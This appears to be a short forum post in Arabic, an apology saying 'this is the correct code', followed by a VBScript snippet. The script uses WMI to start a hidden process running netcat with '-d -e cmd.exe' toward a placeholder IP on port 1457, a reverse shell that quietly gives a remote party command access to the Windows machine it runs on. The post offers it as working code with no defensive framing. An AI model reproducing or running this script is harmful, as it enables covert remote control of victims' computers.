انا جدا اسف هذا الكود الصحيح
Const HIDDEN_WINDOW = 1
strComputer = "."
Set objStartup = Getobject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_processStartup")
Set objProcess = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_process")
Set objConfig = objStartup.SpawnInstance_
objConfig.Showwindow = HIDDEN_WINDOW
errReturn = objprocess.Create("c:\nc.exe -d -e cmd.exe ip 1457",null,objConfig, intprocessID)